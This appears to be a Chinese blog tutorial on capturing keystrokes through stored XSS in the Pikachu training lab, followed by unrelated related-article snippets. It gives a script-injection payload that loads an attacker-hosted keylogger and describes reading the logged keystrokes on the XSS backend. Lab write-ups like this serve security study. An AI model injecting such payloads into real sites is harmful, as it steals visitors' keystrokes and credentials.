pikachu之xss获取键盘记录

前备知识

跨域

跨域(Cross-Origin)是指在互联网中,浏览器为了保护用户信息安全而实施的一种安全策略——同源策略(Same-Origin Policy),即浏览器禁止一个域上的文档或者脚本(如通过JavaScript发起的HTTP请求)与另一个域上的资源进行交互,除非明确授权。

具体来说,如果两个网页的协议(HTTP/HTTPS)、域名、端口号完全一致,就被认为是同源。若从一个源(例如,域A)加载的网页中的脚本尝试访问或操作另一个不同源(例如,域B)的资源,这种行为就会被浏览器阻止,从而出现“跨域”问题。

跨域的主要目的是防止恶意网站通过嵌入的脚本获取并利用另一个网站的内容,比如用户的敏感信息,以避免诸如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等安全风险。

解决跨域问题的方法有多种,包括但不限于:

  • CORS(Cross-Origin Resource Sharing,跨源资源共享):服务器通过响应头允许特定源进行跨域访问。
  • JSONP(JSON with Padding):通过动态创建<script>标签绕过同源策略,适用于GET请求。
  • WebSocket可以通过指定协议握手实现跨域通信。
  • 服务端代理:将请求转发到其他服务器,返回结果给客户端,让客户端看起来像是在和服务端同源通信。
  • window.postMessage API:在不同窗口间进行跨域通信。
  • WebRTC等现代Web技术也有相应的跨域机制。

通过存储xss漏洞,注入xss代码,进而获得用户的键盘记录

环境准备

1.安装好pikachu及其的后台

2.文件处理

        1.rk.js     在pikachu\pkxss\rkeypress目录下

注:上述网址一定要与本机部署的pikachu的网址一致才行,此网址也为攻击者的文件网址

此处我的pikachu网址直接为localhost,即127.0.0.1

本质该网址就为http://+'pikachu网址'+/pkxss/rkeypress/rkserver.php

实战

先上payload:

<script  src=" http://127.0.0.1/pkxss/rkeypress/rk.js">  </script> 

 注意:payload对应的网址也应与rs.js文件中的网址一致

查看控制台,如果有除了以下的显示内容,可能就是上述网址填错了,请认真修改!

此时,我们已经将rk.js文件上传到了被攻击者网站中,当有人访问该网页,并留言,我们就可以在xss后台看到该人的键盘记录,如下演示

去往pikachu后台,即可查看到

总结

此处xss漏洞主要利用src属性的跨站访问,使得被攻击者可以通过src属性自动跳转到攻击者的xss平台,祝各位学习顺利!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/707563.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零开始学习Netty - 学习笔记 -Netty入门-ChannelFuture

5.2.2.Channel Channel 的基本概念 在 Netty 中&#xff0c;Channel 是表示网络传输的开放连接的抽象。它提供了对不同种类网络传输的统一视图&#xff0c;比如 TCP 和 UDP。 Channel 的生命周期 Channel 的生命周期包括创建、激活、连接、读取、写入和关闭等阶段。Netty 中…

QT C++实战:实现用户登录页面及多个界面跳转

主要思路 一个登录界面&#xff0c;以管理员Or普通用户登录管理员&#xff1a;一个管理员的操作界面&#xff0c;可以把数据录入到数据库中。有返回登陆按钮&#xff0c;可以选择重新登陆&#xff08;管理员Or普通用户普通用户&#xff1a;一个主界面&#xff0c;负责展示视频…

【0267】pg内核初始化 process table(ProcGlobal、PROC_HDR、PGPROC)分析

1. 前言 在postmaster或standalone后端启动期间初始化全局进程表(global process table)。该过程由InitProcGlobal()完成,对于此函数: (1)还创建了支持所请求的后端数量所需的所有每个进程信号量。我们过去只在后端真正启动时才分配信号量,但这很糟糕,因为它会让Postg…

vue组件中data为什么必须是一个函数

查看本专栏目录 关于作者 还是大剑师兰特&#xff1a;曾是美国某知名大学计算机专业研究生&#xff0c;现为航空航海领域高级前端工程师&#xff1b;CSDN知名博主&#xff0c;GIS领域优质创作者&#xff0c;深耕openlayers、leaflet、mapbox、cesium&#xff0c;canvas&#x…

JVM-垃圾回收

一、概念 垃圾回收是JVM的堆中管理内存的一种办法。JVM会在特定条件下回收无用的对象占用的内存空间。 二、判断垃圾的方法 1、引用计数法 这种判断某一对象是否是垃圾的方法的原理是&#xff1a;记录某个对象被引用的次数&#xff0c;如果引用次数是0说明是垃圾。但是有漏…

GameObject类API学习

GameObject类 GameObject类是Unity场景中所有实体的基类。一个GameObject对象通常由多个组件组成&#xff0c;且至少含有一个Transform组件。 1、GameObject类实例属性 在GameObject类中&#xff0c;实例属性有activeSelf和activeInHierarchy。 activeSelf属性&#xff1a;…

Spring与SpringBoot入门

Spring入门 要使用Spring最起码需要引入两个依赖: <!-- Spring Core&#xff08;核心&#xff09; --><dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>5.3.20</version>…

Linux内核定时器ioctrl实现对Led灯的控制

一. 简介 前面文章学习了 Linux内核提供的定时器来实现 Led灯的定时亮灭。文章地址如下: Linux内核定时器实现Led灯的定时亮灭说明二-CSDN博客 本文学习通过 应用程序调用 驱动,从而实现对 Led灯的控制。具体实现 ioctrl函数的驱动代码,从而控制 Led灯。 二. Linux内核定…

Unity3D 光照计算方向与法线贴图详解

前言 在Unity3D中&#xff0c;光照计算方向与法线贴图是实现高质量光照效果的重要技术之一。本文将详细介绍光照计算方向与法线贴图的原理和实现方法&#xff0c;并给出相应的代码示例。 对惹&#xff0c;这里有一个游戏开发交流小组&#xff0c;希望大家可以点击进来一起交流…

密码学系列(四)——对称密码2

一、RC4 RC4&#xff08;Rivest Cipher 4&#xff09;是一种对称流密码算法&#xff0c;由Ron Rivest于1987年设计。它以其简单性和高速性而闻名&#xff0c;并广泛应用于网络通信和安全协议中。下面是对RC4的详细介绍&#xff1a; 密钥长度&#xff1a; RC4的密钥长度可变&am…

Git,GitHub与GitLab分别是什么?有什么关系和区别?

Git 定义&#xff1a;Git 是一个分布式版本控制系统&#xff0c;用于跟踪文件的变化&#xff0c;并协助多人协作开发软件项目。作用&#xff1a;Git 可以在本地存储完整的项目历史记录&#xff0c;并允许开发者在不同的分支上进行独立的开发&#xff0c;最后将它们合并到主干分…

GPT 的基础 - T(Transformer)

我们知道GPT的含义是&#xff1a; Generative - 生成下一个词 Pre-trained - 文本预训练 Transformer - 基于Transformer架构 我们看到Transformer模型是GPT的基础&#xff0c;这篇博客梳理了一下Transformer的知识点。 BERT: 用于语言理解。&#xff08;Transformer的Encoder…

九州金榜|父亲在教育中的作用及重要性

随着社会进步&#xff0c;对比以前教育&#xff0c;现在父亲在教育中的作用越来越明显&#xff0c;孩子的教育离不开父亲&#xff0c;父亲在孩子教育中有什么作用&#xff1f;重要性又是什么呢&#xff1f;下面九州金榜家庭教育就带大家一起分析一下作为父亲&#xff0c;在孩子…

VUE3搭载到服务器

1.搭建服务器 使用 Windows 自带的 IIS 作为服务器。 步骤如下&#xff1a;https://blog.csdn.net/qq_62464995/article/details/130140673 同时&#xff0c;上面的步骤中&#xff0c;还使用了 cpolar 将 IIS 本地网址映射到公共网址。 注&#xff1a; cpolar客户端&#xf…

python模块百科_为高效而生_itertools【三】

python模块百科_为高效而生_itertools【三】 一、itertools --- 为高效而生二、无穷迭代器三、根据最短输入序列长度停止的迭代器3.6 groupby()3.7 islice()3.8 starmap()3.9 takewhile()3.10 tee() 一、itertools — 为高效而生 itertools — 为高效而生。itertools模块实现一…

Ant for Blazor做单个表的增删查改

Ant for Blazor做单个表的增删查改 2024年02月27日花了一天时间弄出来了&#xff0c;基本弄好了&#xff0c;vs2022blazor servernet8,引用的AntDesign版本是0.17.4 代码里的model和repository是用自己牛腩代码生成器生成的东西&#xff0c;sqlsugar的&#xff0c;记得在prog…

括号生成(力扣题目22)

题目描述&#xff1a; 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;["((()))","(()())","(())()&q…

Modern C++ std::any的实现原理

1. 前言 std::any 是 C17 中引入的一个新特性&#xff0c;它是一个类型安全的容器&#xff0c;可以在其中存储任何类型(但此类型必须可拷贝构造)的值&#xff0c;包括基本类型、自定义类型、指针等。相比于void* 指针&#xff0c;std::any 更为类型安全&#xff0c;可以避免由…

NC65 rest接口 开发 NC65接口开发

一、在对应模块META-INF下编写 xxx.rest 文件,也要放在Home里对应的目录下。 二、开发接口&#xff0c;继承extends AbstractUAPRestResource&#xff0c;&#xff08;有的项目会继承别的方法如&#xff1a;AbstractNCCRestResource&#xff0c;MTFRestResource&#xff1b;有…

网络安全面试题

1. Http 状态码&#xff0c;Http2 是什么 答案&#xff1a; 200 欢迎回来&#xff0c;主人 &#xff08;正常&#xff1b;请求已完成。&#xff09; 301 人家搬家了 &#xff08;已移动 — 请求的数据具有新的位置且更改是永久的。&#xff09; 307 不是这里&#xff0c;换个…